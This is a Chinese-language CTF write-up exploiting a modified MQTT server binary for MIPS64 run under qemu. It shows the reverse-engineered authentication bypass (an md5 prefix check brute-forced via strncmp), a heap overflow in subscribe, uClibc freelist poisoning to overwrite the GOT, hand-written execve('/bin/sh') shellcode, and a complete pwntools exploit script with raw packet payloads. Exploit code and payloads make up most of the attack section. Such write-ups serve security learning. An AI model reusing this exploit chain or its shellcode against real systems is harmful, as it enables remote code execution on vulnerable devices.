环境准备
题目所给的二进制文件为mips64架构,大端序,需要准备好qemu。
似乎因为内存的关系pwndbg会报错,不知道别的插件怎么样。可以选择自己在原生gdb上写个小脚本,我这里选择ida attach过去(ida调试效率比较低下,需要注意)。
因为mqtt协议客户端都是通过网络发送,而题目文件是通过stdin,stdout接收和发送消息,所以中间需要一个小脚本用来转发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * import socket context.arch='mips64' context.log_level='debug' server=socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind(('0.0.0.0',6666)) server.listen(5) p=process(['qemu-mips64','-g','1234','-L','./','./server']) sess,addr=server.accept() recvlist=[] while True: try: r=sess.recv(1024) recvlist.append(r) p.send(r) sleep(0.01) content=p.recv(1024,timeout=0.2) sess.send(content) except EOFError: break
print(recvlist)
p=process(['qemu-mips64','-g','12345','-L','./','./server']) for i in recvlist: p.send(i) p.recv()
|
ida无法对mips64架构生成伪代码,可以使用ghidra生成伪代码,会提升逆向效率
服务端魔改了一点协议,需要找个合适的mqtt客户端进行更改。python的会方便一些,我这里随便找了一个.net xamarin的mqtt实现。
文件分析
小逆一手,最外层是一个while循环判断结束条件,不断调用内部函数,内部函数进行读取、长度的处理,然后进行解析。解析有一个很大的jumptable,很明显。在ghidra中将程序基址设为0可以生成swtich case的伪代码。
与mqtt协议对应看一下,jumptable对应的是不同类型报文的处理。先看Connect,显然被改动过。通过分析0x3200这个函数(这里ghidra的decompiler莫名其妙会似,可以直接ida调试,通过框图的每个branch判断报文是否正确)可以得到connect_flag开始的3个字节分别为0xc2 0x43 0x21。接下来会对clientid进行长度和内容的判断。由于是明文,很好逆出id为Car_MQTT_Client(这里的id不符合协议规范,可能也需要改一下客户端实现),Username则是异或0x3a后与存储的常量进行比较。Password的处理函数0x49f0中存在md5常数,动调发现确实是md5算法,但比较是通过strncmp函数进行比较,并且程序中进行比较的md5常量的第三个字节是00。所以我们只需要固定md5的前三个字节,进行爆破即可。这里我得到的密码是176f00jns{
。由此,我们得到了Connect的报文格式和认证信息。
进一步分析发现subscribe和unsubscribe对应的是堆块的申请与释放。在subscribe中,存在堆溢出漏洞。
漏洞利用
由于没有地址随机化,我们不需要泄露地址。uClibc的堆管理器几乎没有安全检查,对于小堆块的处理类似于glibc的fastbin,堆块间通过链表连接。我们很自然地想到通过堆溢出覆盖链表指针地址,实现堆块的任意地址分配,从而实现任意地址写。
我们可以先在堆上布置好/bin/sh字符串,shellcode等gadget,然后通过覆盖got表调用shellcode,完成利用。
exp编写
由于一些库并不支持将raw bytes作为报文内容,因此对于一些报文需要手动调整内容。不过对于大多数报文来说可以直接保存客户端发送的内容,为exp编写节省时间。
在覆盖got表时,如果直接覆盖比较大的大小比如0x120,在malloc时就会出现段错误,这令我非常困惑,也不太清楚原因。所以我将gadget都放在了堆上。
shellcode没找到好用的,自己写了个(/bin/sh字符串地址已知)
1 2 3 4 5 6 7 8 9 10 11
| lui $v0,0x4000 dsll $v0,$v0,8 lui $v1,0x311 dsrl $v1,$v1,8 daddu $v0,$v1 daddiu $v0,$v0,0x20 move $a0,$v0 move $a1,$zero move $a2,$zero li $v0, 5057 syscall
|
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context.arch='mips64' context.log_level='debug' recvlist=[b'\x10:\x00\x04MQTT\x04\xc2C!\x00\x0fCar_MQTT_Client\x00\x11Car_Administrator\x00\n176f00jns{', b'\x82%\x00\x01\x00 01000000000000010000000012000000\x02', b'\x82%\x00\x02\x00 010000000000000400000000120000f0\x02', b'\x82%\x00\x03\x00 010000000000000100000000120000w0\x02', b'\x82%\x00\x04\x00 /bin/sh\x0000a0000400000000120000f0\x02', b'\x82%\x00\x05\x00 0100000000b0000100000000120000w0\x02', b'\x82%\x00\x06\x00 01000000000000000000000000000000\x02', b'\x82%\x00\x07\x00 02000000000000000000000000000000\x02', b'\x82%\x00\x08\x00 03000000000000000000000000000000\x02', b'\x82%\x00\t\x00 04000000000000000000000000000000\x02', b'\x82%\x00\n\x00 05000000000000000000000000000000\x02', b'\x82%\x00\x0b\x00 06000000000000000000000000000000\x02', b'\x82%\x00\x0c\x00 07000000000000000000000000000000\x02', b'\x82%\x00\r\x00 08000000000000000000000000000000\x02', b'\x82%\x00\x0e\x00 09000000000000000000000000000000\x02', b'\xa2$\x00\x0f\x00 06000000000000000000000000000000', b'\xa2$\x00\x10\x00 05000000000000000000000000000000', b'\xa2$\x00\x11\x00 04000000000000000000000000000000', b"\x82\x4d\x00\x12\x00\x48\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x3c\x02\x40\x00\x00\x02\x12\x38\x3c\x03\x03\x11\x00\x03\x1a\x3a\x00\x43\x10\x2d\x64\x42\x00\x20\x00\x40\x20\x25\x00\x00\x28\x25\x00\x00\x30\x25\x24\x02\x13\xc1\x00\x00\x00\x0c\x02", b'\x82\xa5\x02\x00\x13\x01 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001\x00\x00\x00@\x00\x01r(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02', b'\x82%\x00\x14\x00 07000000000000000000000000000000\x02', b'\x82%\x00\x15\x00 \x00\x00\x00@\x00\x03\x13@\x00\x00\x00@\x00\x03\x13@\x00\x00\x00@\x00\x03\x13@\x00\x00\x00@\x00\x03\x13@\x02', b'\xa2$\x00\x16\x00 01000000000000000000000000000000']
p=process(['qemu-mips64','-L','./','./server']) for i in recvlist: p.send(i) p.recv(timeout=1) p.interactive()
|